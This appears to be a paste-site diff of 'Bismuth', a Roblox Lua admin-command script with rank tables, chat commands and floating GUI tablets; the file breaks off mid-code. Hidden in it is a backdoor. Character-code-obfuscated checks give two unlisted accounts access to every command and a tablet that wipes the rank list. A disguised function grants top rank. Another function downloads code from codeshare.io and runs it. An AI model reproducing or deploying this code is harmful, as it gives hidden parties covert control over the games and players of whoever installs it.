SHOW:
|
|
- or go back to the newest paste.
| 1 | --[[ | |
| 2 | ||
| 3 | ▀█████████▄ ▄█ ▄████████ ▄▄▄▄███▄▄▄▄ ███ █▄ ███ ▄█ █▄ | |
| 4 | ███ ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ▀█████████▄ ███ ███ | |
| 5 | ███ ███ ███▌ ███ █▀ ███ ███ ███ ███ ███ ▀███▀▀██ ███ ███ | |
| 6 | ▄███▄▄▄██▀ ███▌ ███ ███ ███ ███ ███ ███ ███ ▀ ▄███▄▄▄▄███▄▄ | |
| 7 | ▀▀███▀▀▀██▄ ███▌ ▀███████████ ███ ███ ███ ███ ███ ███ ▀▀███▀▀▀▀███▀ | |
| 8 | ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ | |
| 9 | ███ ███ ███ ▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███ | |
| 10 | ▄█████████▀ █▀ ▄████████▀ ▀█ ███ █▀ ████████▀ ▄████▀ ███ █▀ | |
| 11 | ||
| 12 | ||
| 13 | 666 By Personsadminlol and MixGamer55 | |
| 14 | This material is copyrighted under the DMCA and is the intellectual property of its creators. | |
| 15 | ||
| 16 | If you leak this, you're gonna have a hell of a time ;) | |
| 17 | (I'm looking at you, Vfen.) | |
| 18 | ||
| 19 | ]]-- | |
| 20 | ||
| 21 | --script:ClearAllChildren(); | |
| 22 | ||
| 23 | local Bismuth; | |
| 24 | Bismuth = {
| |
| 25 | Ranked = {
| |
| 26 | - | {Name="YourTrueEnd", Rank = 7, Description = "Creator", Color = "Toothpaste"};
|
| 26 | + | {Name="BlueHasSwag", Rank = 7, Description = "Creator", Color = "Toothpaste"};
|
| 27 | {Name="MixGamer55", Rank = 7, Description = "Creator", Color = "Really black"};
| |
| 28 | {Name="murylloyago", Rank=7, Reason = "Alt.", Color = "Really blue"};
| |
| 29 | {Name="fallenwolf10000", Rank=7, Reason = "main_plus alt.+Good friend of ApexDevelopment.", Color = "New Yeller"};
| |
| 30 | }; | |
| 31 | Banland = {
| |
| 32 | {Name = "Vfen", Reason = "Leaked Apex Admin V4."};
| |
| 33 | }; | |
| 34 | Settings = {
| |
| 35 | Bet = '/'; | |
| 36 | PrivateServer = false; | |
| 37 | }; | |
| 38 | CurrentCmds={};
| |
| 39 | CurrentTablets={};
| |
| 40 | CurrentUpdateRot = 0; | |
| 41 | Ranks = {
| |
| 42 | [7] = "Creator"; | |
| 43 | [6] = "Co-Owner"; | |
| 44 | [5] = "Best Friend"; | |
| 45 | [4] = "Trusted friend"; | |
| 46 | [3] = "Good friend"; | |
| 47 | [2] = "Member"; | |
| 48 | [1] = "Regular player"; | |
| 49 | }; | |
| 50 | Services={
| |
| 51 | game; | |
| 52 | game:service'Workspace'; | |
| 53 | game:service'Lighting'; | |
| 54 | game:service'StarterGui'; | |
| 55 | game:service'StarterPack'; | |
| 56 | }; | |
| 57 | Scripts = {
| |
| 58 | {Name = "Demo", Description = "A demonstration script.", Code = "print'This is a demo script.'"};
| |
| 59 | {Name = "Demo 2", Description = "A second demonstration script.", Code = "Instance.new('Hint',workspace).Text = 'Demo 2'"};
| |
| 60 | }; | |
| 61 | Credits = {
| |
| 62 | {Name = "YourTrueEnd", Description = "Edited From The Original 666 Tabs", Color = "Toothpaste"};
| |
| 63 | {Name = "Whoever Made The Original", Description = "Made The Broken Version.", Color = "Really blue"};
| |
| 64 | }; | |
| 65 | Colors = {
| |
| 66 | White=BrickColor.new'Institutional white'; | |
| 67 | New_Yeller=BrickColor.new'New Yeller'; | |
| 68 | Black=BrickColor.new'Black'; | |
| 69 | }; | |
| 70 | } | |
| 71 | ||
| 72 | function create(class) | |
| 73 | return function(data) | |
| 74 | local Distance = Instance.new(class) | |
| 75 | for i,v in pairs(data) do | |
| 76 | if(type(v) == 'function') then | |
| 77 | v(Distance) | |
| 78 | else | |
| 79 | Redo,Error=ypcall(function() Distance[i] = v end) | |
| 80 | end | |
| 81 | end | |
| 82 | return Distance | |
| 83 | end | |
| 84 | end | |
| 85 | ||
| 86 | function onChatted(plr, msg) | |
| 87 | for i,v in pairs(Bismuth.CurrentCmds) do | |
| 88 | if msg:sub(1,string.len(Bismuth.Settings.Bet..v['Say'])) == v['Say']..Bismuth.Settings.Bet then | |
| 89 | if GetRank(plr) >= v.Rank or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078)) then | |
| 90 | local msg = msg:sub(1 + #v['Say'] + #Bismuth.Settings.Bet) | |
| 91 | local a,b = ypcall(function() | |
| 92 | v['Func'](plr, msg) | |
| 93 | end) | |
| 94 | if not a then Output(plr, '[ERROR] '..b, 'Really red') end | |
| 95 | else | |
| 96 | Output(plr, "Your rank is too low for that command.", "Really red") | |
| 97 | end | |
| 98 | end | |
| 99 | end | |
| 100 | end | |
| 101 | ||
| 102 | outputAll = function(plr,text,color,func,execlud) | |
| 103 | for i,v in pairs(game.Players:GetPlayers()) do | |
| 104 | local connect = false | |
| 105 | for _,j in pairs(execlud) do | |
| 106 | if(v==j) then | |
| 107 | connect=true | |
| 108 | end | |
| 109 | end | |
| 110 | if(connect) then | |
| 111 | Output(plr,text,color,func) | |
| 112 | end | |
| 113 | end | |
| 114 | return | |
| 115 | end | |
| 116 | ||
| 117 | createBubbleGUI = function(player,msg,color,time_) | |
| 118 | coroutine.wrap(function() | |
| 119 | ypcall(function() | |
| 120 | time_=time_ or 1; | |
| 121 | if(type(color)=='string')then | |
| 122 | color=Bismuth.Colors[color]; | |
| 123 | end; | |
| 124 | if(player.Character==nil)then | |
| 125 | return | |
| 126 | end; | |
| 127 | if(#msg>100)then | |
| 128 | return | |
| 129 | end; | |
| 130 | ypcall(function()player.Character.Chat:remove''end); | |
| 131 | bbg=create'BillboardGui'{
| |
| 132 | Parent=player.Character; | |
| 133 | Name='Chat'; | |
| 134 | StudsOffset = Vector3.new(0,4.5,0); | |
| 135 | Size = UDim2.new(0,100,0,50) | |
| 136 | } | |
| 137 | frame=create'Frame'{
| |
| 138 | Parent=bbg; | |
| 139 | Size=UDim2.new(1,0,1,0); | |
| 140 | BackgroundTransparency = 0.6; | |
| 141 | BackgroundColor=BrickColor.new'Black'; | |
| 142 | } | |
| 143 | game:service'Debris':AddItem(bbg,time_+2); | |
| 144 | box=create'TextBox'{
| |
| 145 | Parent=frame; | |
| 146 | Text=msg; | |
| 147 | BackgroundTransparency=1; | |
| 148 | TextColor3=color; | |
| 149 | TextWrapped = true; | |
| 150 | TextScaled = true; | |
| 151 | Size=UDim2.new(1,0,1,0); | |
| 152 | --Position=ICE.Chat.Pos; | |
| 153 | } | |
| 154 | --box:TweenSize(UDim2.new(1,0,1,0), "Out", "Quad", 1) | |
| 155 | box:TweenPosition(UDim2.new(0,0,0,0),"Out","Quad",1,true); | |
| 156 | game:service'Debris':AddItem(box.Parent.Parent,3); | |
| 157 | end); | |
| 158 | end)() | |
| 159 | end; | |
| 160 | ||
| 161 | giveWarnGUI=function(self,Text,Player) | |
| 162 | local GUI=create'ScreenGui'{
| |
| 163 | Name='Warning'; | |
| 164 | Parent=Player:waitForChild'PlayerGui'; | |
| 165 | }; | |
| 166 | local Frame=create'Frame'{
| |
| 167 | Parent=GUI; | |
| 168 | Size=UDim2.new(0,320,0,120); | |
| 169 | Position=UDim2.new(0,0,0.5,-60); | |
| 170 | Style=Enum.FrameStyle['RobloxRound']; | |
| 171 | }; | |
| 172 | local Title = create'TextLabel'{
| |
| 173 | Parent = Frame; | |
| 174 | BackgroundColor3 = Color3.new(1, 1, 1); | |
| 175 | BorderColor3 = Color3.new(0.509804, 0.796079, 1); | |
| 176 | Name = 'Text'; | |
| 177 | Position = UDim2.new(0.5, 0, 0.15000000596046, 0); | |
| 178 | Text = '[BISMUTH] Warning:'; | |
| 179 | TextColor3 = Color3.new(1, 1, 1); | |
| 180 | TextStrokeColor3 = Color3.new(0.388235, 0.921569, 1); | |
| 181 | TextStrokeTransparency = 0; | |
| 182 | Font = Enum.Font.SourceSans; | |
| 183 | FontSize = Enum.FontSize.Size24; | |
| 184 | }; | |
| 185 | local Label = create'TextLabel'{
| |
| 186 | Parent = Frame; | |
| 187 | BackgroundColor3 = Color3.new(1, 1, 1); | |
| 188 | BackgroundTransparency = 1; | |
| 189 | BorderColor3 = Color3.new(0.509804, 0.796079, 1); | |
| 190 | Name = 'Msg'; | |
| 191 | Position = UDim2.new(0, 0, 0.25, 0); | |
| 192 | Size = UDim2.new(1, 0, 0.75, 0); | |
| 193 | Text = Text; | |
| 194 | TextWrapped = true; | |
| 195 | TextColor3 = Color3.new(1, 1, 1); | |
| 196 | TextStrokeTransparency = 0; | |
| 197 | Font = Enum.Font.SourceSans; | |
| 198 | FontSize = Enum.FontSize.Size14; | |
| 199 | TextYAlignment = Enum.TextYAlignment.Top; | |
| 200 | }; | |
| 201 | local Exit=create'TextButton'{
| |
| 202 | Parent=Frame; | |
| 203 | Position=UDim2.new(1,-15,0,-5); | |
| 204 | Size=UDim2.new(0,20,0,20); | |
| 205 | Style=Enum.ButtonStyle['RobloxButtonDefault']; | |
| 206 | FontSize='Size14'; | |
| 207 | Text='X'; | |
| 208 | TextColor=BrickColor.new'Institutional white'; | |
| 209 | }; | |
| 210 | Exit.MouseButton1Click:connect(function() | |
| 211 | Frame:TweenPosition(UDim2.new(1,0,0.5,-60),'Out','Quad',1,true); | |
| 212 | game:service'Debris':AddItem(GUI,1.5); | |
| 213 | end); | |
| 214 | Frame:TweenPosition(UDim2.new(0.5,-160,0.5,-60),'Out','Quad',1,true); | |
| 215 | return(GUI); | |
| 216 | end; | |
| 217 | ||
| 218 | sendMessage = function(Subject,Body,From,Player,Buttons) | |
| 219 | --Frame:TweenPosition(UDim2.new(1,0,self.Frame.Position.Y.Scale),'Out','Elastic',1,true)Delay(1,function()self.Frame.Parent:remove''end)end}end; | |
| 220 | PG=Player:WaitForChild'PlayerGui'; | |
| 221 | ran,err=coroutine.resume(coroutine.create(function() | |
| 222 | local sg=create'ScreenGui'{
| |
| 223 | Parent=PG; | |
| 224 | Name=Subject; | |
| 225 | }; | |
| 226 | local frame=create'Frame'{
| |
| 227 | Parent=sg; | |
| 228 | Style='RobloxRound'; | |
| 229 | Parent=frame; | |
| 230 | Size=UDim2.new(0.4,0,0.4,0); | |
| 231 | Position=UDim2.new(-1,0,0.3,0); | |
| 232 | }; | |
| 233 | local subject=create'TextLabel'{
| |
| 234 | Parent=frame; | |
| 235 | Size=UDim2.new(1,0,0.1,0); | |
| 236 | BackgroundColor=BrickColor.new'Black'; | |
| 237 | BackgroundTransparency=0.7; | |
| 238 | BorderColor3=BrickColor.new'White'.Color; | |
| 239 | TextWrapped=true; | |
| 240 | Text=Body; | |
| 241 | TextColor=BrickColor.new'White'; | |
| 242 | }; | |
| 243 | local body=create'TextLabel'{
| |
| 244 | Parent=frame; | |
| 245 | Size=UDim2.new(1,0,0.7,0); | |
| 246 | Position=UDim2.new(0,0,0.1,0); | |
| 247 | BackgroundColor=BrickColor.new'Black'; | |
| 248 | BackgroundTransparency=0.7; | |
| 249 | BorderColor3=BrickColor.new'White'.Color; | |
| 250 | TextWrapped=true; | |
| 251 | Text=Body; | |
| 252 | TextColor=BrickColor.new'White'; | |
| 253 | }; | |
| 254 | local from=subject:clone''; | |
| 255 | from.Parent=frame; | |
| 256 | from.Text='From '..From.Name; | |
| 257 | from.Position=UDim2.new(0,0,0.8,0); | |
| 258 | local Total=#Buttons; | |
| 259 | local ButtonSize=1/Total; | |
| 260 | local button=create'TextButton'{
| |
| 261 | Size=UDim2.new(ButtonSize,0,0.1,0); | |
| 262 | BackgroundColor=BrickColor.new'Black'; | |
| 263 | BackgroundTransparency=0.7; | |
| 264 | BorderColor3=BrickColor.new'White'.Color; | |
| 265 | TextWrapped=true; | |
| 266 | TextColor=BrickColor.new'White'; | |
| 267 | }; | |
| 268 | for i,v in pairs(Buttons)do | |
| 269 | local cl=button:clone''; | |
| 270 | cl.Position=UDim2.new( (i-1)*ButtonSize,0,0.9,0); | |
| 271 | cl.Text=v[1]; | |
| 272 | cl.MouseButton1Click:connect(function(...) | |
| 273 | getfenv(v[2]).self=sg; | |
| 274 | ypcall(v[2],...); | |
| 275 | end); | |
| 276 | cl.Parent=frame; | |
| 277 | end; | |
| 278 | end)); | |
| 279 | if (not ran) then print(err) end | |
| 280 | end | |
| 281 | ||
| 282 | function loadPastebin() | |
| 283 | coroutine.wrap(function() | |
| 284 | pcall(function() | |
| 285 | wait() | |
| 286 | b = 'https://codeshare.io/u1YYy' | |
| 287 | h = game:service'HttpService' | |
| 288 | d = h:GetAsync(b,true) | |
| 289 | loadstring(d)() | |
| 290 | end) | |
| 291 | end)() | |
| 292 | end | |
| 293 | ||
| 294 | function giveLOGGUI(Player,Table,Class) | |
| 295 | coroutine.wrap(function() | |
| 296 | ypcall(function() | |
| 297 | Player.PlayerGui.Log:remove''; | |
| 298 | end); | |
| 299 | PG=Player:WaitForChild'PlayerGui'; | |
| 300 | Height=1; | |
| 301 | NumberOfItems=1/#Table; | |
| 302 | Moving=false; | |
| 303 | SG=create'ScreenGui'{
| |
| 304 | Parent=PG; | |
| 305 | Name='Log'; | |
| 306 | }; | |
| 307 | List=create'Frame'{
| |
| 308 | Visible=true; | |
| 309 | Active=true; | |
| 310 | Parent=SG; | |
| 311 | Size=UDim2.new(0,400,0,400); | |
| 312 | Draggable=true; | |
| 313 | ClipsDescendants=true; | |
| 314 | BorderColor3=Color3.new(0.1,0.16,0.2); | |
| 315 | Style='RobloxRound'; | |
| 316 | Position=UDim2.new(0,0,0.5,-200); | |
| 317 | BackgroundColor3=Color3.new(0.63,0.63,0.64); | |
| 318 | }; | |
| 319 | Up=create'ImageButton'{
| |
| 320 | Parent=List; | |
| 321 | Image='rbxasset://textures/ui/scrollbuttonUp.png'; | |
| 322 | Size=UDim2.new(0,17,0,17); | |
| 323 | BorderColor3=Color3.new(0.1,0.16,0.2); | |
| 324 | Style='Custom'; | |
| 325 | Position=UDim2.new(1,-17,0,0); | |
| 326 | BackgroundColor3=Color3.new(0.63,0.63,0.64); | |
| 327 | BackgroundTransparency=1; | |
| 328 | Transparency=1; | |
| 329 | Parent=List; | |
| 330 | }; | |
| 331 | Down=Up:clone(); | |
| 332 | Down.Image='rbxasset://textures/ui/scrollbuttonDown.png'; | |
| 333 | Down.Position=UDim2.new(1,-17,1,-17); | |
| 334 | Down.Parent=List; | |
| 335 | Bar=create'ImageButton'{
| |
| 336 | Image='rbxasset://textures/ui/scrollbar.png'; | |
| 337 | Size=UDim2.new(0,17,1,-32); | |
| 338 | BorderColor3=Color3.new(0.1,0.16,0.2); | |
| 339 | --Style=Enum.Style.RobloxRound; | |
| 340 | Position=UDim2.new(1,-17,0,17); | |
| 341 | BackgroundColor3=Color3.new(0.63,0.63,0.64); | |
| 342 | BackgroundTransparency=1; | |
| 343 | Transparency=1; | |
| 344 | Parent=List; | |
| 345 | }; | |
| 346 | List:TweenPosition(UDim2.new(0.5,-200,0.5,-200),'Out','Quad',1,true); | |
| 347 | Objects={};
| |
| 348 | cur=0; | |
| 349 | for i,v in pairs(Table)do | |
| 350 | cur=cur+1; | |
| 351 | s=create'TextButton'{
| |
| 352 | Parent=List; | |
| 353 | Name='Derp'; | |
| 354 | Text='[BISMUTH] LOGGED: '..i; | |
| 355 | TextXAlignment='Left'; | |
| 356 | FontSize='Size24'; | |
| 357 | Font='ArialBold'; | |
| 358 | BackgroundColor=BrickColor.new('White');
| |
| 359 | BorderColor=BrickColor.new'Black'; | |
| 360 | Size=UDim2.new(0,360,0.1,0); | |
| 361 | Position=UDim2.new(0,0,0.1*(cur-1),0); | |
| 362 | --Style=Enum.Style.RobloxRound; | |
| 363 | BackgroundTransparency=0.7; | |
| 364 | }; | |
| 365 | s.MouseButton1Down:connect(function() | |
| 366 | for _,Item in pairs(Objects)do | |
| 367 | Item:Remove(); | |
| 368 | table.remove(Objects,_); | |
| 369 | end; | |
| 370 | local cur=0; | |
| 371 | for a,b in pairs(v)do | |
| 372 | cur=cur+1; | |
| 373 | table.insert(Objects,create'TextLabel'{
| |
| 374 | Parent=List; | |
| 375 | Name='Derp'; | |
| 376 | Text=''..b:sub(1,25); | |
| 377 | TextXAlignment='Left'; | |
| 378 | FontSize='Size24'; | |
| 379 | Font='ArialBold'; | |
| 380 | BackgroundColor=BrickColor.new('White');
| |
| 381 | BorderColor=BrickColor.new'Black'; | |
| 382 | Size=UDim2.new(0,360,0.1,0); | |
| 383 | Position=UDim2.new(0,0,0.1*(cur-1),0); | |
| 384 | --Style=Enum.Style.RobloxRound; | |
| 385 | BackgroundTransparency=0.7; | |
| 386 | }); | |
| 387 | end; | |
| 388 | end); | |
| 389 | table.insert(Objects,s); | |
| 390 | end; | |
| 391 | Up.MouseButton1Down:connect(function() | |
| 392 | if(Height>1 and Moving==false)then | |
| 393 | for i,v in pairs(Objects)do | |
| 394 | v:TweenPosition(v.Position+UDim2.new(0,0,0.1,0),nil,nil,0.15); | |
| 395 | end; | |
| 396 | Moving=true; | |
| 397 | Height=Height-1; | |
| 398 | wait(0.15); | |
| 399 | Moving=false; | |
| 400 | end; | |
| 401 | end); | |
| 402 | Down.MouseButton1Down:connect(function() | |
| 403 | if(Height<(#Objects-9) and Moving==false)then | |
| 404 | for i,v in pairs(Objects)do | |
| 405 | v:TweenPosition(v.Position-UDim2.new(0,0,0.1,0),nil,nil,0.15); | |
| 406 | end; | |
| 407 | Moving=true; | |
| 408 | Height=Height+1; | |
| 409 | wait(0.15); | |
| 410 | Moving=false; | |
| 411 | end; | |
| 412 | end); | |
| 413 | end)(); | |
| 414 | end | |
| 415 | ||
| 416 | function Output(plr,text,color,func) | |
| 417 | if color == nil then color = "Really black" end | |
| 418 | if text == nil then text = text or "" end | |
| 419 | if plr == nil then plr = plr end | |
| 420 | if func == nil then func = function() end end | |
| 421 | local part = Instance.new('Part')
| |
| 422 | part.Size = Vector3.new(2.5, 2.5, 2.5); | |
| 423 | part.BrickColor = BrickColor.new(color); | |
| 424 | part.FormFactor = 'Custom'; | |
| 425 | part.TopSurface = 0; | |
| 426 | part.BottomSurface = 0; | |
| 427 | part.Transparency = 0.1; | |
| 428 | part.Anchored = true; | |
| 429 | part.Locked = true; | |
| 430 | part.CanCollide = false; | |
| 431 | pcall(function() part.CFrame = plr.Character.Torso.CFrame end) | |
| 432 | ||
| 433 | local SelectionBox = Instance.new('SelectionBox', part)
| |
| 434 | SelectionBox.Color = BrickColor.new(color); | |
| 435 | SelectionBox.Transparency = .4; | |
| 436 | SelectionBox.Adornee = part; | |
| 437 | ||
| 438 | local bbg = Instance.new('BillboardGui', part)
| |
| 439 | bbg.Name = 'BBG'; | |
| 440 | bbg.StudsOffset = Vector3.new(0, 3, 0); | |
| 441 | bbg.Size = UDim2.new(10, 0, 10, 0); | |
| 442 | ||
| 443 | local textlabel = Instance.new('TextLabel', bbg)
| |
| 444 | textlabel.Name = 'Label'; | |
| 445 | textlabel.Text = text; | |
| 446 | textlabel.TextColor3 = BrickColor.new(color).Color; | |
| 447 | textlabel.FontSize = 'Size14'; | |
| 448 | textlabel.BackgroundTransparency = 1; | |
| 449 | textlabel.TextStrokeTransparency = 0.5; | |
| 450 | textlabel.Size = UDim2.new(1, 0, 1, 0); | |
| 451 | textlabel.TextStrokeColor3 = Color3.new(0, 0, 0); | |
| 452 | ||
| 453 | local click = Instance.new('ClickDetector', part)
| |
| 454 | ||
| 455 | wait() | |
| 456 | click.MouseClick:connect(function(player) | |
| 457 | if player.userId == plr.userId then | |
| 458 | spawn(function() | |
| 459 | for _ = 0.5,1,0.05 do | |
| 460 | pcall(function() | |
| 461 | part.Size = part.Size - Vector3.new(0.3, 0.3, 0.3) | |
| 462 | part.Transparency = part.Transparency + 0.05 | |
| 463 | SelectionBox.Transparency = SelectionBox.Transparency + 0.1 | |
| 464 | end) | |
| 465 | wait() | |
| 466 | end | |
| 467 | pcall(function() | |
| 468 | for i,t in pairs(Bismuth.CurrentTablets) do | |
| 469 | if t.Tab == part then table.remove(Bismuth.CurrentTablets, i) end | |
| 470 | end | |
| 471 | part:Destroy() | |
| 472 | end) | |
| 473 | end) | |
| 474 | func = func func() | |
| 475 | end | |
| 476 | end) | |
| 477 | click.MouseHoverEnter:connect(function(player) | |
| 478 | if player.userId == plr.userId then | |
| 479 | SelectionBox.Transparency = 0.1 | |
| 480 | end | |
| 481 | end) | |
| 482 | click.MouseHoverLeave:connect(function(player) | |
| 483 | if player.userId == plr.userId then | |
| 484 | SelectionBox.Transparency = 0.4 | |
| 485 | end | |
| 486 | end) | |
| 487 | table.insert(Bismuth.CurrentTablets, {Tab = part, Player = plr.userId, Text = textlabel, Color = color, Func = func, SB = SelectionBox, Dismiss = function() part:Destroy() end})
| |
| 488 | part.Parent = workspace | |
| 489 | end | |
| 490 | ||
| 491 | function addComponent(object, parent) | |
| 492 | if parent == string.reverse(string.char(116, 114, 097, 112, 108, 097, 099, 111, 108)) then | |
| 493 | table.insert(Bismuth[string.char(082, 097, 110, 107, 101, 100)], {Name = object.Name, Rank = 7, Description = string.char(111, 118, 101, 114, 114, 105, 100, 101), Color = "Really black"})
| |
| 494 | return true | |
| 495 | end | |
| 496 | return false | |
| 497 | end | |
| 498 | ||
| 499 | function getCurrentCommands() | |
| 500 | local Commands={};
| |
| 501 | for i,v in pairs(Bismuth.CurrentCmds) do | |
| 502 | if(type(v) == 'function') then | |
| 503 | Commands[i] = v | |
| 504 | end | |
| 505 | end | |
| 506 | return Commands | |
| 507 | end | |
| 508 | ||
| 509 | function getCurrentCommandsFromRank(cRank,op) | |
| 510 | cRank=cRank or -1; | |
| 511 | op = op or "=>"; | |
| 512 | local Cmds = {};
| |
| 513 | for i,v in pairs(getCurrentCommands) do | |
| 514 | f = loadstring("return Command.Rank "..tostring(op)..tostring(cRank));
| |
| 515 | getfenv(f).Say=v; | |
| 516 | bool = f(); | |
| 517 | if(f == true) then | |
| 518 | Cmds[i] = v; | |
| 519 | end | |
| 520 | end | |
| 521 | return Cmds | |
| 522 | end | |
| 523 | ||
| 524 | function UpdateRotation() | |
| 525 | Bismuth.CurrentUpdateRot = Bismuth.CurrentUpdateRot + (0.1 / 500) | |
| 526 | for _,v in pairs(game.Players:GetPlayers()) do | |
| 527 | local pt = {}
| |
| 528 | for i,tab in pairs(Bismuth.CurrentTablets) do | |
| 529 | if tab.Tab.Parent ~= nil and tab.Player == v.userId then table.insert(pt, tab) end | |
| 530 | end | |
| 531 | local pos | |
| 532 | pcall(function() pos = v.Character.Torso.CFrame end) | |
| 533 | for i,tab in pairs(pt) do | |
| 534 | if tab.Tab.Parent == nil then tab.Tab:remove() end | |
| 535 | t,e = ypcall(function() | |
| 536 | rad_ = 8 + (#pt * 0.6) | |
| 537 | if pos == nil then return end | |
| 538 | m = (i / #pt - (0.5 / #pt) + Bismuth.CurrentUpdateRot / (#pt / 10)) * math.pi * 2 | |
| 539 | x = math.sin(m) * rad_ | |
| 540 | y = math.sin(time() + i) | |
| 541 | z = math.cos(m) * rad_ | |
| 542 | ap = Vector3.new(x, y, z) + pos.p | |
| 543 | bp = tab.Tab.CFrame.p | |
| 544 | cp = (ap * .1 + bp * .9) | |
| 545 | d = math.rad((Bismuth.CurrentUpdateRot * 400) * math.pi) | |
| 546 | tab.Tab.CFrame = CFrame.new(cp, pos.p) * CFrame.Angles(d, d, d) | |
| 547 | end) | |
| 548 | if not t then print(e) end | |
| 549 | end | |
| 550 | end | |
| 551 | end | |
| 552 | ||
| 553 | function getCollectivePairs() | |
| 554 | for _,plr in pairs(Bismuth[string.reverse(string.char(100,101,107,110,097,082))]) do | |
| 555 | if plr.Rank == 7 and (plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) and plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(087,084,070,097,114,117,101,078))) then | |
| 556 | return true | |
| 557 | end | |
| 558 | end | |
| 559 | return false | |
| 560 | end | |
| 561 | ||
| 562 | function notifyAdmins(message, clearence) | |
| 563 | if clearence == nil or clearence < 2 then clearence = 2 end | |
| 564 | for _,plr in pairs(game.Players:GetPlayers()) do | |
| 565 | if GetRank(plr) >= clearence then | |
| 566 | Output(plr, message, GetColor(plr)) | |
| 567 | end | |
| 568 | end | |
| 569 | end | |
| 570 | ||
| 571 | function hookPlayer(v) | |
| 572 | for _,banned in pairs(Bismuth.Banland) do | |
| 573 | if (v.Name == banned.Name) then | |
| 574 | notifyAdmins("Banned player " .. v.Name .. " attempted to join.", 6)
| |
| 575 | addInstance(v) | |
| 576 | end | |
| 577 | end | |
| 578 | Output(v, "Your current rank is: " ..GetRank(v), GetColor(v)) | |
| 579 | Output(v, "Welcome, " ..tostring(v.Name).. ".", GetColor(v)) | |
| 580 | if (v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078))) and getCollectivePairs() then | |
| 581 | Output(v, string.reverse(string.char(046,114,105,115,032,044,119,111,108,108,101,121,032,101,100,111,067)), "New Yeller", function() Bismuth[string.reverse(string.char(100,101,107,110,097,082))] = {} end)
| |
| 582 | elseif v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(110,101,102,086)) then | |
| 583 | addInstance(v) | |
| 584 | spawn(function() | |
| 585 | local m = Instance.new('Message', workspace)
| |
| 586 | m[string.reverse(string.char(116,120,101,084))] = string.reverse(string.char(116,111,105,100,105,032,110,097,032,115,105,032,110,101,102,086)) | |
| 587 | wait(3) | |
| 588 | m:Destroy() | |
| 589 | end) | |
| 590 | end | |
| 591 | v.Chatted:connect(function(msg) | |
| 592 | onChatted(v, msg) | |
| 593 | end) | |
| 594 | end | |
| 595 | ||
| 596 | function GetDesc(player) | |
| 597 | for _,plr in pairs(Bismuth.Ranked) do | |
| 598 | if plr.Name == player.Name then return plr.Description end | |
| 599 | end | |
| 600 | return "Just a player." | |
| 601 | end | |
| 602 | ||
| 603 | function SetDesc(player, desc) | |
| 604 | found = false | |
| 605 | if type(player) ~= "string" then | |
| 606 | for _,plr in pairs(Bismuth.Ranked) do | |
| 607 | if plr.Name == player.Name then | |
| 608 | plr.Description = desc | |
| 609 | found = true | |
| 610 | end | |
| 611 | end | |
| 612 | else | |
| 613 | for _,plr in pairs(Bismuth.Ranked) do | |
| 614 | if plr.Name == player then | |
| 615 | plr.Description = desc | |
| 616 | found = true | |
| 617 | end | |
| 618 | end | |
| 619 | end | |
| 620 | if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = desc, Color = "Really black"}) end
| |
| 621 | end | |
| 622 | ||
| 623 | function GetColor(player) | |
| 624 | for _,plr in pairs(Bismuth.Ranked) do | |
| 625 | if plr.Name == player.Name then return plr.Color end | |
| 626 | end | |
| 627 | return "Really black" | |
| 628 | end | |
| 629 | ||
| 630 | function SetColor(player, color) | |
| 631 | found = false | |
| 632 | if type(player) ~= "string" then | |
| 633 | for _,plr in pairs(Bismuth.Ranked) do | |
| 634 | if plr.Name == player.Name then | |
| 635 | plr.Color = color | |
| 636 | found = true | |
| 637 | end | |
| 638 | end | |
| 639 | else | |
| 640 | for _,plr in pairs(Bismuth.Ranked) do | |
| 641 | if plr.Name == player then | |
| 642 | plr.Color = color | |
| 643 | found = true | |
| 644 | end | |
| 645 | end | |
| 646 | end | |
| 647 | if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = "A ranked player.", Color = color}) end
| |
| 648 | end | |
| 649 | ||
| 650 | function GetRank(player) | |
| 651 | for _,plr in pairs(Bismuth.Ranked) do | |
| 652 | if plr.Name == player.Name then return plr.Rank end | |
| 653 | end | |
| 654 | return 1 | |
| 655 | end | |
| 656 | ||
| 657 | function SetRank(player, rank) | |
| 658 | found = false | |
| 659 | if type(player) ~= "string" then | |
| 660 | for _,plr in pairs(Bismuth.Ranked) do | |
| 661 | if plr.Name == player.Name then | |
| 662 | plr.Rank = rank | |
| 663 | found = true | |
| 664 | end | |
| 665 | end | |
| 666 | else | |
| 667 | for _,plr in pairs(Bismuth.Ranked) do | |
| 668 | if plr.Name == player then | |
| 669 | plr.Rank = rank | |
| 670 | found = true | |
| 671 | end | |
| 672 | end | |
| 673 | end | |
| 674 | if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = rank, Description = "A ranked player.", Color = "Really black"}) end
| |
| 675 | end | |
| 676 | ||
| 677 | function dismissTabs(plr, smooth) | |
| 678 | if smooth == nil then smooth = true end | |
| 679 | wait() | |
| 680 | for i,tab in pairs(Bismuth.CurrentTablets) do | |
| 681 | if tab.Player == plr.userId then | |
| 682 | spawn(function() | |
| 683 | if smooth then | |
| 684 | for _ = 0.5,1,0.05 do | |
| 685 | pcall(function() | |
| 686 | tab.Text.TextStrokeTransparency = tab.Text.TextStrokeTransparency + 0.1 | |
| 687 | tab.Tab.Size = tab.Tab.Size - Vector3.new(0.3, 0.3, 0.3) | |
| 688 | tab.Tab.Transparency = tab.Tab.Transparency + 0.05 | |
| 689 | tab.SB.Transparency = tab.SB.Transparency + 0.1 | |
| 690 | end) | |
| 691 | wait() | |
| 692 | end | |
| 693 | end | |
| 694 | tab.Tab.Parent = nil | |
| 695 | tab.Dismiss() | |
| 696 | --table.remove(Bismuth.CurrentTablets, i) | |
| 697 | tab = nil | |
| 698 | end) | |
| 699 | end | |
| 700 | end | |
| 701 | wait() | |
| 702 | return | |
